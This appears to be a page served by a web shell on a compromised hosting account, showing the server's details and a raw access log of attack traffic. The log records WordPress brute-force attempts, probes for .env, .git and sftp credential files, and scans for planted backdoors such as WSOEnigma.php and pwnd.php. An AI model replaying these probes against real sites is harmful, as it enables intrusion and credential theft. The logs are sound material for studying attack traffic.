Server IP : 172.67.141.100 / Your IP : 18.191.61.74 Web Server : LiteSpeed System : Linux business31.web-hosting.com 4.18.0-553.16.1.lve.1.el8.x86_64 #1 SMP Mon Sep 23 20:16:18 UTC 2024 x86_64 User : varizmol ( 2121) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/varizmol/access-logs/ |
Upload File : |
173.236.235.210 - - [29/Mar/2025:18:38:38 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 173.236.235.210 - - [29/Mar/2025:18:38:39 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 173.236.235.210 - - [29/Mar/2025:18:38:40 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 165.227.84.75 - - [29/Mar/2025:18:40:17 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 165.227.84.75 - - [29/Mar/2025:18:40:19 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 165.227.84.75 - - [29/Mar/2025:18:40:19 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 178.254.17.171 - - [29/Mar/2025:19:47:48 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 178.254.17.171 - - [29/Mar/2025:19:47:49 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 178.254.17.171 - - [29/Mar/2025:19:47:50 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 2001:41d0:203:83e2:: - - [29/Mar/2025:19:50:37 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 2001:41d0:203:83e2:: - - [29/Mar/2025:19:50:38 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 2001:41d0:203:83e2:: - - [29/Mar/2025:19:50:39 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 192.42.116.199 - - [29/Mar/2025:20:15:00 -0400] "GET / HTTP/1.1" 301 795 "grimslut.com" "Opera/9.80 (Windows NT 6.1; MRA 6.0 (build 6083)) Presto/2.12.388 Version/12.17" 2a06:6440:0:2c0a::1 - - [29/Mar/2025:20:30:40 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 2a06:6440:0:2c0a::1 - - [29/Mar/2025:20:30:41 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 2a06:6440:0:2c0a::1 - - [29/Mar/2025:20:30:42 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 80.235.120.196 - - [29/Mar/2025:20:37:09 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 80.235.120.196 - - [29/Mar/2025:20:37:10 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 80.235.120.196 - - [29/Mar/2025:20:37:11 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 154.83.103.16 - - [29/Mar/2025:20:49:41 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 43.173.1.69 - - [29/Mar/2025:21:13:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 181.214.107.223 - - [29/Mar/2025:22:05:20 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 2001:41d0:203:83e2:: - - [29/Mar/2025:23:26:59 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 2001:41d0:203:83e2:: - - [29/Mar/2025:23:27:00 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 2001:41d0:203:83e2:: - - [29/Mar/2025:23:27:01 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 47.251.13.69 - - [29/Mar/2025:23:28:20 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 47.251.13.69 - - [29/Mar/2025:23:28:20 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 47.251.13.69 - - [29/Mar/2025:23:28:20 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 185.189.114.122 - - [29/Mar/2025:23:42:55 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 101.55.81.36 - - [30/Mar/2025:00:13:14 -0400] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" 141.98.10.188 - - [30/Mar/2025:00:55:19 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 110.40.78.19 - - [30/Mar/2025:01:56:16 -0400] "GET /README.md HTTP/1.1" 301 795 "http://grimslut.com/README.md" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 110.40.78.19 - - [30/Mar/2025:01:56:23 -0400] "GET /apps/admin/view/default/layui/images/face/11.gif HTTP/1.1" 301 795 "http://grimslut.com/apps/admin/view/default/layui/images/face/11.gif" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:01:56:31 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:01:56:32 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:01:56:32 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:01:56:32 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:01:56:33 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:01:56:33 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:01:56:33 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:01:56:34 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:01:56:34 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:01:56:34 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 2001:41d0:203:83e2:: - - [30/Mar/2025:02:31:36 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 2001:41d0:203:83e2:: - - [30/Mar/2025:02:31:37 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 2001:41d0:203:83e2:: - - [30/Mar/2025:02:31:38 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 139.99.62.111 - - [30/Mar/2025:03:28:32 -0400] "GET /plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 46.8.107.133 - - [30/Mar/2025:03:36:54 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 43.166.245.250 - - [30/Mar/2025:03:50:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 197.243.16.120 - - [30/Mar/2025:05:23:25 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 197.243.16.120 - - [30/Mar/2025:05:23:26 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 197.243.16.120 - - [30/Mar/2025:05:23:27 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 139.59.113.8 - - [30/Mar/2025:06:22:39 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 139.59.113.8 - - [30/Mar/2025:06:22:40 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 139.59.113.8 - - [30/Mar/2025:06:22:42 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 195.20.18.175 - - [30/Mar/2025:07:05:38 -0400] "GET /admin/assets/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 106.8.137.28 - - [30/Mar/2025:07:39:29 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "YisouSpider" 152.42.183.103 - - [30/Mar/2025:07:46:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 121.237.36.28 - - [30/Mar/2025:07:48:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/601.1.27" 121.237.36.27 - - [30/Mar/2025:07:48:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 121.237.36.30 - - [30/Mar/2025:07:52:02 -0400] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 121.237.36.27 - - [30/Mar/2025:07:53:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone 6s; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/11.0 MQQBrowser/8.2.0 Mobile/10A5376e Safari/8536.25 MttCustomUA/2 QBWebViewType/1 WKType/1" 183.134.59.131 - - [30/Mar/2025:07:58:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12" 161.35.15.162 - - [30/Mar/2025:08:47:13 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:47:26 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:47:35 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:47:45 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:47:53 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:48:01 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:48:09 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:48:17 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:48:25 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:48:30 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:48:42 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:48:54 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:49:00 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:49:07 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:49:26 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:49:40 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.35.15.162 - - [30/Mar/2025:08:49:46 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.130.78.203 - - [30/Mar/2025:09:02:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 109.248.13.38 - - [30/Mar/2025:09:13:09 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 104.248.118.148 - - [30/Mar/2025:09:17:04 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 104.248.118.148 - - [30/Mar/2025:09:17:04 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 104.248.118.148 - - [30/Mar/2025:09:17:05 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 144.172.96.147 - - [30/Mar/2025:09:44:09 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.233.43.78 - - [30/Mar/2025:09:56:29 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 13.233.43.78 - - [30/Mar/2025:09:56:31 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 13.233.43.78 - - [30/Mar/2025:09:56:32 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 216.244.66.236 - - [30/Mar/2025:09:57:17 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 2a06:6440:0:2c0a::1 - - [30/Mar/2025:09:58:58 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 2a06:6440:0:2c0a::1 - - [30/Mar/2025:09:59:00 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 2a06:6440:0:2c0a::1 - - [30/Mar/2025:09:59:02 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 172.203.79.174 - - [30/Mar/2025:10:35:54 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:10:36:00 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:10:36:02 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:10:36:04 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:10:36:06 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:10:36:08 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:10:36:09 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:10:36:10 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:10:36:13 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.203.79.174 - - [30/Mar/2025:10:36:14 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 216.244.66.236 - - [30/Mar/2025:10:54:08 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 144.172.96.147 - - [30/Mar/2025:11:21:36 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2001:41d0:203:83e2:: - - [30/Mar/2025:11:27:29 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 2001:41d0:203:83e2:: - - [30/Mar/2025:11:27:30 -0400] "POST /wp-login.php HTTP/1.1" 301 795 "-" "GRequests/0.10" 2001:41d0:203:83e2:: - - [30/Mar/2025:11:27:31 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "GRequests/0.10" 157.245.192.237 - - [30/Mar/2025:11:30:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 196.251.88.242 - - [30/Mar/2025:11:30:08 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.88.242 - - [30/Mar/2025:11:30:30 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.88.242 - - [30/Mar/2025:11:31:01 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 47.242.222.214 - - [30/Mar/2025:11:33:21 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3956.196 Safari/537.36" 2602:fb54:968:: - - [30/Mar/2025:11:34:55 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "ShellBot 2.0" 196.251.69.226 - - [30/Mar/2025:11:49:33 -0400] "POST /wp-content/plugins/about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:11:49:33 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:11:49:42 -0400] "POST /wp-content/plugins/about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:11:49:42 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:11:49:48 -0400] "POST /wp-content/plugins/about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:11:49:49 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:11:49:59 -0400] "POST /wp.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 196.251.69.226 - - [30/Mar/2025:11:50:00 -0400] "GET /about.php HTTP/1.1" 301 795 "http://grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2602:fb54:35c:: - - [30/Mar/2025:11:57:58 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 216.244.66.236 - - [30/Mar/2025:12:30:00 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 2a12:5e40:1:13fc:2a16:564a:7167:5743 - - [30/Mar/2025:12:46:18 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 216.244.66.236 - - [30/Mar/2025:13:18:04 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 92.255.85.164 - - [30/Mar/2025:13:29:01 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 91.238.162.8 - - [30/Mar/2025:13:46:24 -0400] "GET / HTTP/1.1" 301 795 "https://www.google.com.br" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36 Edg/115.0.1901.203" 185.245.105.171 - - [30/Mar/2025:13:47:15 -0400] "GET / HTTP/1.1" 301 795 